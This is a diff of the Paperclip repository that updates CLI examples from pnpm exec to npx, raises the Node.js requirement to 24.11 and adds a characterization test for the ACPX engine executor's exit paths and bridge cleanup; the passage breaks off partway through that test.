npx paperclipai allowed-hostname my-machine
```
### `authenticated` + `public`
+27
View File
@@ -19,6 +19,33 @@ All environment variables that Paperclip uses for server configuration.
| `PAPERCLIP_DEPLOYMENT_MODE` | `local_trusted` | Runtime mode override |
| `PAPERCLIP_DEPLOYMENT_EXPOSURE` | `private` | Exposure policy when deployment mode is `authenticated` |
| `PAPERCLIP_API_URL` | (auto-derived) | Paperclip API base URL. When set externally (e.g., via Kubernetes ConfigMap, load balancer, or reverse proxy), the server preserves the value instead of deriving it from the listen host and port. Useful for deployments where the public-facing URL differs from the local bind address. |
| `PAPERCLIP_HIDDEN_SETTINGS` | (unset) | Comma-separated settings surfaces to hide from the UI and floor at the API, for operators hosting Paperclip for others (managed cloud, internal shared server). See [Hiding settings surfaces](#hiding-settings-surfaces). |
### Hiding settings surfaces
`PAPERCLIP_HIDDEN_SETTINGS` takes keys from the registry in
`packages/shared/src/settings-visibility.ts`:
- Any instance settings page: `instance.profile`, `instance.environments`,
`instance.access`, `instance.heartbeats`, `instance.experimental`,
`instance.plugins`, `instance.adapters` — removed from navigation and
routing (the General page is the settings root and stays visible). Hiding
`instance.access`, `instance.plugins`, or `instance.adapters` also floors
their management endpoints with `403 settings_operator_managed`; hiding
`instance.experimental` floors every experimental toggle write.
- Any Instance → General section: `instance.general.censorUsernameInLogs`,
`instance.general.keyboardShortcuts`, `instance.general.backupRetention`,
`instance.general.feedbackDataSharingPreference` (each also rejects
value-changing writes via `PATCH /api/instance/settings/general`), plus the
UI-only `instance.general.deploymentStatus` and `instance.general.signOut`.
- Any experimental toggle: `instance.experimental.<flagKey>` (e.g.
`instance.experimental.enableSmokeLab`) — the card disappears and
value-changing writes are rejected.
Unknown keys are logged and ignored, so one list can be rolled across a fleet
of mixed app versions. With the variable unset nothing is hidden and behavior
is identical to earlier releases. Hiding a toggle does not change its value;
pair hiding with the desired default where it matters.
## Secrets
+8 -7
View File
@@ -7,7 +7,7 @@ Run Paperclip locally with zero external dependencies.
## Prerequisites
- Node.js 20+
- Node.js 24.11+
- pnpm 9+
## Start Dev Server
@@ -64,7 +64,7 @@ pnpm dev --authenticated-private
Allow additional private hostnames:
```sh
pnpm exec paperclipai allowed-hostname dotta-macbook-pro
npx paperclipai allowed-hostname dotta-macbook-pro
```
For full setup and troubleshooting, see [Tailscale Private Access](/deploy/tailscale-private-access).
@@ -84,10 +84,10 @@ curl http://localhost:3100/api/companies
For safer parallel local experiments, initialize a dedicated worktree instance instead of reusing your main checkout:
```sh
pnpm paperclipai worktree:make local-lab --seed-mode minimal
npx paperclipai worktree:make local-lab --seed-mode minimal
cd ~/paperclip-local-lab
pnpm paperclipai worktree env # inspect generated env exports
eval "$(pnpm paperclipai worktree env)" # bash/zsh
eval "$(npx paperclipai worktree env)" # bash/zsh
pnpm paperclipai run
pnpm paperclipai doctor
```
@@ -95,14 +95,15 @@ pnpm paperclipai doctor
If the experiment gets noisy, repair or reseed the worktree without touching the main branch:
```sh
pnpm paperclipai worktree repair --branch paperclip-local-lab
pnpm paperclipai worktree reseed --from . --to paperclip-local-lab
# worktree repair rebuilds the local checkout metadata, so run the checked-out CLI through the direct-exec form.
node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts worktree repair --branch paperclip-local-lab
npx paperclipai worktree reseed --from . --to paperclip-local-lab
```
When done, shut it down and remove the isolated state explicitly:
```sh
pnpm paperclipai worktree:cleanup local-lab --force
npx paperclipai worktree:cleanup local-lab --force
```
## Reset Dev Data
+4 -4
View File
@@ -203,7 +203,7 @@ Validate secrets config:
```sh
pnpm paperclipai doctor
pnpm exec paperclipai secrets doctor --company-id <company-id>
npx paperclipai secrets doctor --company-id <company-id>
```
### Environment Overrides
@@ -475,8 +475,8 @@ store.
If you have existing agents with inline API keys in their config, migrate them to encrypted secret refs:
```sh
pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id>
pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> --apply
npx paperclipai secrets migrate-inline-env --company-id <company-id>
npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
# low-level script for direct database maintenance
pnpm secrets:migrate-inline-env # dry run
@@ -493,7 +493,7 @@ Company exports include only environment declarations. They do not include
secret IDs, provider references, encrypted material, or plaintext values.
```sh
pnpm exec paperclipai secrets declarations --company-id <company-id> --kind secret
npx paperclipai secrets declarations --company-id <company-id> --kind secret
```
Before importing a package into another instance, use those declarations to
+1 -1
View File
@@ -58,7 +58,7 @@ http://my-macbook.tailnet.ts.net:3100
If you access Paperclip with a custom private hostname, add it to the allowlist:
```sh
pnpm exec paperclipai allowed-hostname my-macbook.tailnet.ts.net
npx paperclipai allowed-hostname my-macbook.tailnet.ts.net
```
## 5. Verify the server is reachable
+2 -2
View File
@@ -36,7 +36,7 @@ Shows a color-coded summary: vote counts, per-trace details with reasons, and ex
paperclipai feedback report
# Point to a different server or company
pnpm exec paperclipai feedback report --api-base http://127.0.0.1:3000 --company-id <company-id>
npx paperclipai feedback report --api-base http://127.0.0.1:3000 --company-id <company-id>
# Include raw payload dumps in the report
pnpm paperclipai feedback report --payloads
@@ -112,7 +112,7 @@ Exports are full by default. `traces/` keeps the Paperclip envelope, while `full
```bash
# Custom server and output directory
pnpm exec paperclipai feedback export --api-base http://127.0.0.1:3000 --company-id <company-id> --out ./my-export
npx paperclipai feedback export --api-base http://127.0.0.1:3000 --company-id <company-id> --out ./my-export
```
### Reading an exported trace
@@ -23,7 +23,7 @@ The CLI exposes the same surface:
```sh
pnpm paperclipai instance settings:experimental
pnpm exec paperclipai instance settings:experimental:update --payload-json '{...}'
npx paperclipai instance settings:experimental:update --payload-json '{...}'
```
Those commands change the same opt-in settings that the UI manages.
+3 -3
View File
@@ -82,7 +82,7 @@ PAPERCLIP_COOKIE="your_session_cookie=..." pnpm smoke:openclaw-join
- If Paperclip rejects the container-visible host with a hostname error, allow it from host:
```bash
pnpm exec paperclipai allowed-hostname host.docker.internal
npx paperclipai allowed-hostname host.docker.internal
```
Then restart Paperclip and rerun the smoke script.
@@ -90,7 +90,7 @@ Then restart Paperclip and rerun the smoke script.
- Authenticated/private mode: ensure hostnames are in the allowed list when required:
```bash
pnpm exec paperclipai allowed-hostname <host>
npx paperclipai allowed-hostname <host>
```
## Prerequisites
@@ -316,7 +316,7 @@ This issue does not affect the Docker Sandbox approach.
### Node version mismatch in community template images
Some community-built sandbox templates (e.g. `olegselajev241/openclaw-dmr:latest`) ship Node 20, but OpenClaw requires Node >=22.12.0. Use our locally built `openclaw:local` image as the sandbox template instead, which includes Node 22.
Some community-built sandbox templates (e.g. `olegselajev241/openclaw-dmr:latest`) ship Node 20, but OpenClaw requires Node >=22.12.0. Use our locally built `openclaw:local` image as the sandbox template instead, which includes Node 24.
### Gateway takes ~15 seconds to respond after start
+1 -1
View File
@@ -29,7 +29,7 @@ Paperclip is a monorepo with four main layers.
| Layer | Technology |
|-------|-----------|
| Frontend | React 19, Vite 6, React Router 7, Radix UI, Tailwind CSS 4, TanStack Query |
| Backend | Node.js 20+, Express.js 5, TypeScript |
| Backend | Node.js 24.11+, Express.js 5, TypeScript |
| Database | PostgreSQL 17 (or embedded PGlite), Drizzle ORM |
| Auth | Better Auth (sessions + API keys) |
| Adapters | Claude Code CLI, Codex CLI, shell process, HTTP webhook |
+1 -1
View File
@@ -25,7 +25,7 @@ npx paperclipai run
## Local Development
For contributors working on Paperclip itself. Prerequisites: Node.js 20+ and pnpm 9+.
For contributors working on Paperclip itself. Prerequisites: Node.js 24.11+ and pnpm 9+.
Clone the repository, then:
+5 -4
View File
@@ -40,6 +40,7 @@
"release:bootstrap-package": "node scripts/bootstrap-npm-package.mjs",
"check:tokens": "node scripts/check-forbidden-tokens.mjs",
"check:token-gates": "node scripts/check-token-gates.mjs",
"check:node-version": "node scripts/check-node-version-policy.mjs",
"check:no-git-push": "node scripts/check-no-git-push.mjs",
"test:check-no-git-push": "node --test scripts/check-no-git-push.test.mjs",
"test:install-sh-docker": "./scripts/test-install-sh-docker.sh",
@@ -69,14 +70,14 @@
"connections:ingest-app-definitions": "node scripts/ingest-app-definitions.mjs"
},
"devDependencies": {
"@playwright/test": "^1.61.1",
"@playwright/test": "^1.62.1",
"cross-env": "^10.1.0",
"esbuild": "^0.28.1",
"typescript": "^5.7.3",
"vitest": "^4.1.10"
},
"engines": {
"node": ">=20"
"node": ">=24.11.0"
},
"packageManager": "pnpm@9.15.4",
"pnpm": {
@@ -86,8 +87,8 @@
},
"overrides": {
"rollup": ">=4.59.0",
"react": "^19.2.7",
"react-dom": "^19.2.7",
"react": "^19.2.8",
"react-dom": "^19.2.8",
"lexical": "0.49.0",
"@lexical/clipboard": "0.49.0",
"@lexical/link": "0.49.0",
+6
View File
@@ -1,5 +1,11 @@
# @paperclipai/adapter-utils
## Unreleased
### Patch Changes
- Allow the Paperclip host to route adapter sandbox-sync full-tree Git enumeration through its process-wide bounded scheduler.
## 0.3.1
### Patch Changes
+4 -1
View File
@@ -47,7 +47,10 @@
"picocolors": "^1.1.1"
},
"devDependencies": {
"@types/node": "^22.20.1",
"@types/node": "^24.0.0",
"typescript": "^5.7.3"
},
"engines": {
"node": ">=24.11.0"
}
}
@@ -0,0 +1,876 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import type { AcpRuntimeOptions } from "acpx/runtime";
import type { AdapterExecutionContext, AdapterRuntimeMcpAccess } from "@paperclipai/adapter-utils";
import {
prepareAdapterExecutionTargetRuntime,
startAdapterExecutionTargetPaperclipBridge,
startAdapterExecutionTargetProcessSessionBridge,
} from "@paperclipai/adapter-utils/execution-target";
// This file is a characterization test. It pins the engine boundary's CURRENT
// behavior; it never changes production code. Each test states the observed
// contract of `executeAcpxEngine` as data, so a later refactor that alters an
// exit path's result form, its finalization set, or its warm-lane decision
// fails here.
//
// Adapter-boundary automatic CLI fallback note (File 1b): the codex, claude, and
// gemini adapters wrap this engine and fall back to their CLI lane when an
// AUTOMATIC ACP selection fails, but RETHROW when ACP was EXPLICITLY selected.
// Those three adapters live in higher packages that depend on this one, so an
// adapter-utils test cannot import them (a reverse dependency does not exist in
// package.json). That branch already has REAL coverage in each adapter package:
// - packages/adapters/codex-local/src/server/execute.acp-fallback.test.ts
// - packages/adapters/claude-local/src/server/execute.acp-fallback.test.ts
// - packages/adapters/gemini-local/src/server/execute.acp-fallback.test.ts
// and each adapter's `normalizeEngine` / `resolveXxxExecutionEngineForRun`
// classification (explicit acp/cli vs automatic acp) is pinned in each
// package's acp.test.ts. This file pins the engine-level exit paths those
// adapters wrap.
// Wrap the staging seam + both sandbox bridges in call-recording spies that
// still delegate to the real implementations (a runner-backed sandbox test
// exercises them end-to-end against a local runner). This lets the staging
// tests assert the exact `runtimeRootDir`/`workspaceLocalDir`/`assets` the
// engine threads without changing any real behavior for the other tests.
vi.mock("@paperclipai/adapter-utils/execution-target", async (importActual) => {
const actual = await importActual<typeof import("@paperclipai/adapter-utils/execution-target")>();
return {
...actual,
prepareAdapterExecutionTargetRuntime: vi.fn(actual.prepareAdapterExecutionTargetRuntime),
startAdapterExecutionTargetPaperclipBridge: vi.fn(actual.startAdapterExecutionTargetPaperclipBridge),
startAdapterExecutionTargetProcessSessionBridge: vi.fn(actual.startAdapterExecutionTargetProcessSessionBridge),
};
});
import {
createAcpxEngineExecutor,
type AcpxEngineExecutorOptions,
} from "./execute.js";
import { runChildProcess } from "../server-utils.js";
const tempRoots: string[] = [];
async function makeTempRoot() {
const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-acpx-skills-"));
tempRoots.push(root);
return root;
}
afterEach(async () => {
// A remote run stages a process-session bridge whose detached event writer can
// still be flushing a trailing event file into `.../process-sessions/<id>/events`
// when the run's own best-effort `client.remove(sessionDir)` (which production
// catch-wraps) has already returned. Under CI load that trailing write can land
// between this recursive delete's directory snapshot and its `rmdir`, surfacing as
// `ENOTEMPTY`. `maxRetries`/`retryDelay` make the cleanup ride out that window the
// same way production tolerates it, instead of failing the just-passed test.
await Promise.all(
tempRoots.splice(0).map((root) =>
fs.rm(root, { recursive: true, force: true, maxRetries: 5, retryDelay: 50 }),
),
);
});
function createLocalSandboxRunner(
onExecute?: (input: {
command: string;
args?: string[];
cwd?: string;
env?: Record<string, string>;
}) => void,
) {
let counter = 0;
return {
execute: async (input: {
command: string;
args?: string[];
cwd?: string;
env?: Record<string, string>;
stdin?: string;
timeoutMs?: number;
onLog?: (stream: "stdout" | "stderr", chunk: string) => Promise<void>;
onSpawn?: (meta: { pid: number; startedAt: string }) => Promise<void>;
}) => {
counter += 1;
onExecute?.(input);
const command = input.command === "bash" ? "/bin/bash" : input.command;
return await runChildProcess(`acpx-sandbox-run-${counter}`, command, input.args ?? [], {
cwd: input.cwd ?? process.cwd(),
env: input.env ?? {},
stdin: input.stdin,
timeoutSec: Math.max(1, Math.ceil((input.timeoutMs ?? 30_000) / 1000)),
graceSec: 5,
onLog: input.onLog ?? (async () => {}),
onSpawn: input.onSpawn
? async (meta) => input.onSpawn?.({ pid: meta.pid, startedAt: meta.startedAt })
: undefined,
});
},
};
}
function buildRuntime(
onSetConfigOption?: (input: { key: string; value: string }) => void,
onEnsureSession?: (input: Record<string, unknown>) => void,
) {
return {
ensureSession: async (input: Record<string, unknown>) => {
onEnsureSession?.(input);
return ({
backendSessionId: "backend-session",
agentSessionId: "agent-session",
runtimeSessionName: "runtime-session",
});
},
startTurn: () => ({
events: (async function* () {
yield { type: "done", stopReason: "end_turn" };
})(),
result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
cancel: async () => {},
}),
setConfigOption: async (input: { key: string; value: string }) => {
onSetConfigOption?.(input);
},
close: async () => {},
};
}
async function runExecutor(
config: Record<string, unknown>,
options: {
context?: Record<string, unknown>;
executionTransport?: Record<string, unknown>;
authToken?: string;
executionTarget?: Record<string, unknown>;
runtimeMcp?: AdapterRuntimeMcpAccess;
prepareRemoteManagedHome?: AcpxEngineExecutorOptions["prepareRemoteManagedHome"];
startupTraceContext?: AdapterExecutionContext["startupTraceContext"];
} = {},
) {
const runtimeOptions: Record<string, unknown>[] = [];
const configOptions: Array<{ key: string; value: string }> = [];
const sessionInputs: Record<string, unknown>[] = [];
const meta: Record<string, unknown>[] = [];
const logs: Array<{ stream: string; text: string }> = [];
const events: Array<{ eventType: string; payload?: Record<string, unknown> }> = [];
const execute = createAcpxEngineExecutor({
...(options.prepareRemoteManagedHome
? { prepareRemoteManagedHome: options.prepareRemoteManagedHome }
: {}),
createRuntime: (options) => {
runtimeOptions.push(options as unknown as Record<string, unknown>);
return buildRuntime(
({ key, value }) => configOptions.push({ key, value }),
(input) => sessionInputs.push(input),
) as never;
},
});
const result = await execute({
runId: "run-1",
agent: {
id: "agent-1",
companyId: "company-1",
},
runtime: {},
config,
context: options.context ?? {},
executionTransport: options.executionTransport,
authToken: options.authToken,
executionTarget: options.executionTarget,
runtimeMcp: options.runtimeMcp,
startupTraceContext: options.startupTraceContext,
onLog: async (stream: "stdout" | "stderr", text: string) => {
logs.push({ stream, text });
},
onMeta: async (payload: unknown) => {
meta.push(payload as Record<string, unknown>);
},
onEvent: async (event: { eventType: string; payload?: Record<string, unknown> }) => {
events.push(event);
},
} as never);
expect(result.exitCode).toBe(0);
return { logs, meta, events, runtimeOptions, configOptions, sessionInputs, result };
}
// A remote sandbox setup that stages the host worktree through the real local
// runner, so a run reaches the post-build window with live bridges and a held
// staging lease.
async function setupRemoteSandbox() {
const root = await makeTempRoot();
const stateDir = path.join(root, "state");
const localCwd = path.join(root, "worktree");
const remoteCwd = path.join(root, "remote-workspace");
await fs.mkdir(localCwd, { recursive: true });
await fs.mkdir(remoteCwd, { recursive: true });
await fs.writeFile(path.join(localCwd, "hello.txt"), "hi", "utf8");
const executionTarget = {
kind: "remote",
transport: "sandbox",
providerKey: "fake-plugin",
remoteCwd,
runner: createLocalSandboxRunner(),
};
return { root, stateDir, localCwd, remoteCwd, executionTarget };
}
const okHandle = {
backendSessionId: "backend-session",
agentSessionId: "agent-session",
runtimeSessionName: "runtime-session",
};
function completedTurn() {
return {
events: (async function* () {})(),
result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
cancel: async () => {},
};
}
function throwingTurn() {
return {
events: (async function* () {
throw new Error("turn upstream boom");
})(),
result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
cancel: async () => {},
};
}
// A context whose only prompt-read field throws when read, so the prompt build
// fails after the session handshake succeeds and before the turn starts.
function throwingHandoffContext(): Record<string, unknown> {
const context: Record<string, unknown> = {};
Object.defineProperty(context, "paperclipSessionHandoffMarkdown", {
enumerable: false,
get() {
throw new Error("prompt build boom");
},
});
return context;
}
// Stub both sandbox bridges with stop spies collected per start, so a test can
// assert the bridges stopped without running the real bridge transport.
function stubBridges() {
const paperclipStops: Array<ReturnType<typeof vi.fn>> = [];
const processStops: Array<ReturnType<typeof vi.fn>> = [];
vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementation(async () => {
const stop = vi.fn(async () => {});
paperclipStops.push(stop);
return { env: {}, stop } as never;
});
vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementation(async () => {
const stop = vi.fn(async () => {});
processStops.push(stop);
return { agentCommand: null, stop } as never;
});
const anyStopped = (stops: Array<ReturnType<typeof vi.fn>>) =>
stops.some((stop) => stop.mock.calls.length > 0);
const stoppedCount = (stops: Array<ReturnType<typeof vi.fn>>) =>
stops.filter((stop) => stop.mock.calls.length > 0).length;
return { paperclipStops, processStops, anyStopped, stoppedCount };
}
function remoteArgs(
stateDir: string,
localCwd: string,
executionTarget: unknown,
overrides: Record<string, unknown> = {},
) {
return {
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
context: {},
authToken: "real-run-jwt",
executionTarget,
onLog: async () => {},
onMeta: async () => {},
onEvent: async () => {},
...overrides,
};
}
describe("composed ACPX run: engine-boundary result form per exit path", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("returns (never throws) a create_runtime error result when the post-build runtime construction fails", async () => {
const root = await makeTempRoot();
const execute = createAcpxEngineExecutor({
createRuntime: () => {
throw new Error("createRuntime boom");
},
});
// The engine RETURNS a settled error result on this path; it does not throw.
const result = await execute({
runId: "boundary-create-fail",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
context: {},
onLog: async () => {},
onMeta: async () => {},
} as never);
expect(result.exitCode).toBe(1);
expect(result.signal).toBe(null);
expect(result.timedOut).toBe(false);
expect(result.resultJson?.phase).toBe("create_runtime");
expect(result.summary).toContain("createRuntime boom");
});
it("returns an ensure_session error result when the handshake fails", async () => {
const root = await makeTempRoot();
const execute = createAcpxEngineExecutor({
createRuntime: () =>
({
ensureSession: async () => {
throw new Error("ensureSession boom");
},
startTurn: () => completedTurn(),
close: async () => {},
}) as never,
});
const result = await execute({
runId: "boundary-ensure-fail",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
context: {},
onLog: async () => {},
onMeta: async () => {},
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.phase).toBe("ensure_session");
});
it("returns a runtime-error result with no clearSession and no errorMeta when ensureSession yields no handle", async () => {
const root = await makeTempRoot();
const execute = createAcpxEngineExecutor({
createRuntime: () =>
({
// A runtime that returns no session handle drives the missing-handle path.
ensureSession: async () => undefined,
startTurn: () => completedTurn(),
close: async () => {},
}) as never,
});
const result = await execute({
runId: "boundary-missing-handle",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
context: {},
onLog: async () => {},
onMeta: async () => {},
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.phase).toBe("ensure_session");
expect(result.errorCode).toBe("acpx_runtime_error");
// The missing-handle result carries neither clearSession nor errorMeta, unlike
// the other pre-turn error paths.
expect(result.clearSession).toBeUndefined();
expect(result.errorMeta).toBeUndefined();
});
it("returns a configure_session error result that carries the requested session fields", async () => {
const root = await makeTempRoot();
const execute = createAcpxEngineExecutor({
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => completedTurn(),
// A custom agent with a requested model applies a session config option;
// a throwing setConfigOption drives the configure_session failure path.
setConfigOption: async () => {
throw new Error("setConfigOption boom");
},
close: async () => {},
}) as never,
});
const result = await execute({
runId: "boundary-configure-fail",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config: {
agent: "custom",
agentCommand: "node ./fake-acp.js",
model: "custom-model-x",
stateDir: path.join(root, "state"),
},
context: {},
onLog: async () => {},
onMeta: async () => {},
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.phase).toBe("configure_session");
// The configure_session result echoes the requested session identity fields.
expect(result.resultJson).toHaveProperty("agent");
expect(result.resultJson?.requestedModel).toBe("custom-model-x");
expect(result.resultJson).toHaveProperty("requestedThinkingEffort");
expect(result.resultJson).toHaveProperty("fastMode");
});
it("returns a prepare_turn error result when the prompt build fails before the turn starts", async () => {
const root = await makeTempRoot();
const execute = createAcpxEngineExecutor({
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => completedTurn(),
close: async () => {},
}) as never,
});
const result = await execute({
runId: "boundary-prepare-fail",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
context: throwingHandoffContext(),
onLog: async () => {},
onMeta: async () => {},
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.phase).toBe("prepare_turn");
});
it("returns a turn error result with acpx_turn_failed when the running turn fails", async () => {
const root = await makeTempRoot();
const execute = createAcpxEngineExecutor({
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => throwingTurn(),
close: async () => {},
}) as never,
});
const result = await execute({
runId: "boundary-turn-fail",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
context: {},
onLog: async () => {},
onMeta: async () => {},
} as never);
expect(result.exitCode).toBe(1);
expect(result.resultJson?.phase).toBe("turn");
expect(result.errorCode).toBe("acpx_turn_failed");
});
it("returns the terminal turn-success shape (the one non-error-shaped return)", async () => {
const root = await makeTempRoot();
const execute = createAcpxEngineExecutor({
createRuntime: () => buildRuntime() as never,
});
const result = await execute({
runId: "boundary-success",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
context: {},
onLog: async () => {},
onMeta: async () => {},
} as never);
// A completed, non-timed-out turn returns exitCode 0, no signal, no errorCode,
// and the session identity fields, with resultJson.status = "completed".
expect(result.exitCode).toBe(0);
expect(result.signal).toBe(null);
expect(result.timedOut).toBe(false);
expect(result.errorCode).toBe(null);
expect(result.resultJson?.status).toBe("completed");
expect(result.sessionId).toBe("backend-session");
expect(result.sessionDisplayId).toBe("agent-session");
expect(result.sessionParams).toBeTruthy();
});
it("THROWS (does not return) when buildRuntime fails before it settles", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
// A staging failure throws inside buildRuntime before it settles, so the engine
// rethrows through the `if (!buildRuntimeSettled) throw err` guard. This is one
// of exactly two engine-boundary throw paths.
vi.mocked(prepareAdapterExecutionTargetRuntime).mockImplementationOnce(async () => {
throw new Error("staging boom");
});
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () => buildRuntime() as never,
});
await expect(
execute({
runId: "boundary-build-throw",
...remoteArgs(stateDir, localCwd, executionTarget),
} as never),
).rejects.toThrow("staging boom");
});
it("THROWS (does not return) on a partial bridge failure and stops the started sibling bridge once", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
// The paperclip bridge fails while the concurrently-started process-session
// bridge resolves a live handle. This is the second engine-boundary throw path;
// the abandon path must stop the started sibling so no bridge leaks.
const stop = vi.fn(async () => {});
vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementationOnce(async () => {
throw new Error("paperclip bridge boom");
});
vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementationOnce(
async () => ({ agentCommand: null, stop }) as never,
);
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () => buildRuntime() as never,
});
await expect(
execute({
runId: "boundary-bridge-throw",
...remoteArgs(stateDir, localCwd, executionTarget),
} as never),
).rejects.toThrow("paperclip bridge boom");
expect(stop).toHaveBeenCalledTimes(1);
});
});
describe("composed ACPX run: finalization set fires exactly once per exit path", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("stops both bridges once and releases the staging lease on every exit path", async () => {
const scenarios: Array<{
name: string;
createRuntime: AcpxEngineExecutorOptions["createRuntime"];
config?: Record<string, unknown>;
context?: Record<string, unknown>;
}> = [
{
name: "create_runtime",
createRuntime: () => {
throw new Error("createRuntime boom");
},
},
{
name: "ensure_session",
createRuntime: () =>
({
ensureSession: async () => {
throw new Error("ensure boom");
},
startTurn: () => completedTurn(),
close: async () => {},
}) as never,
},
{
name: "configure_session",
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => completedTurn(),
setConfigOption: async () => {
throw new Error("config boom");
},
close: async () => {},
}) as never,
config: { agent: "custom", agentCommand: "node ./fake-acp.js", model: "custom-model-x" },
},
{
name: "prepare_turn",
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => completedTurn(),
close: async () => {},
}) as never,
context: throwingHandoffContext(),
},
{
name: "turn",
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => throwingTurn(),
close: async () => {},
}) as never,
},
{
name: "success",
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => completedTurn(),
close: async () => {},
}) as never,
},
];
for (const scenario of scenarios) {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
const { paperclipStops, processStops, stoppedCount } = stubBridges();
const stagingLocks = new Map<string, Promise<unknown>>();
const execute = createAcpxEngineExecutor({
stagingLocks,
warmHandles: new Map(),
stagedRuntimes: new Map(),
createRuntime: scenario.createRuntime,
});
const overrides: Record<string, unknown> = {};
if (scenario.config) {
overrides.config = {
agent: "custom",
agentCommand: "node ./fake-acp.js",
stateDir,
cwd: localCwd,
...scenario.config,
};
}
if (scenario.context) overrides.context = scenario.context;
await execute({
runId: `finalize-${scenario.name}`,
...remoteArgs(stateDir, localCwd, executionTarget, overrides),
} as never).catch(() => {});
// The finalization set fires exactly once: each bridge stops once and the
// per-session staging lease releases, so the lock map never strands the next
// same-session run.
expect(stoppedCount(paperclipStops), `paperclip bridge must stop once on ${scenario.name}`).toBe(1);
expect(stoppedCount(processStops), `process-session bridge must stop once on ${scenario.name}`).toBe(1);
expect(stagingLocks.size, `lease must release on ${scenario.name}`).toBe(0);
}
});
it("does not re-run the turn teardown when the result mapping throws after the close", async () => {
const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
const { paperclipStops, processStops, stoppedCount } = stubBridges();
let closeCount = 0;
const execute = createAcpxEngineExecutor({
warmHandles: new Map(),
stagedRuntimes: new Map(),
stagingLocks: new Map(),
createRuntime: () =>
({
ensureSession: async () => okHandle,
startTurn: () => ({
events: (async function* () {
yield { type: "done", stopReason: "end_turn" };
})(),
// A completed turn whose result mapping throws after the close is read.
result: Promise.resolve({
status: "completed",
get stopReason(): string {
throw new Error("mapping boom");
},
}),
cancel: async () => {},
}),
close: async () => {
closeCount += 1;
},
}) as never,
});
await execute({
runId: "finalize-map-throw",
...remoteArgs(stateDir, localCwd, executionTarget),
} as never).catch(() => {});
// The completed turn closed the runtime once; the mapping throw did not re-run
// the teardown through the turn catch.
expect(closeCount).toBe(1);
expect(stoppedCount(paperclipStops)).toBe(1);
expect(stoppedCount(processStops)).toBe(1);
});
});
describe("composed ACPX run: host-lane warm handle set", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("closes and relaunches a persistent local runtime, so the next compatible run re-creates it", async () => {
const root = await makeTempRoot();
const stateDir = path.join(root, "state");
let createCount = 0;
const warmHandles = new Map();
const execute = createAcpxEngineExecutor({
warmHandles,
createRuntime: () => {
createCount += 1;
return buildRuntime() as never;
},
});
const config = {
agent: "custom",
agentCommand: "node ./fake-acp.js",
stateDir,
mode: "persistent",
warmHandleIdleMs: 60_000,
};
const first = await execute({
runId: "warm-save-1",
agent: { id: "agent-1", companyId: "company-1" },
runtime: {},
config,
context: {},
onLog: async () => {},
onMeta: async () => {},
onEvent: async () => {},
} as never);
expect(first.exitCode).toBe(0);
// Amendment B: a persistent local completed turn closes and relaunches the
// runtime instead of warm-saving it (the run-minted API key is never revoked).
expect(warmHandles.size).toBe(0);
expect(createCount).toBe(1);
const second = await execute({
runId: "warm-save-2",
agent: { id: "agent-1", companyId: "company-1" },
runtime: { sessionParams: first.sessionParams },
config,
context: {},
onLog: async () => {},
onMeta: async () => {},
onEvent: async () => {},
} as never);
expect(second.exitCode).toBe(0);
// No warm runtime survived, so the compatible second run re-creates it.
expect(createCount).toBe(2);
});
it("closes (does not warm-save) a completed non-persistent runtime, so the next run re-creates", async () => {
const root = await makeTempRoot();
const stateDir = path.join(root, "state");
let createCount = 0;
let closeCount = 0;
const warmHandles = new Map();
const execute = createAcpxEngineExecutor({
warmHandles,
createRuntime: () => {
createCount += 1;
return {
ensureSession: async () => okHandle,
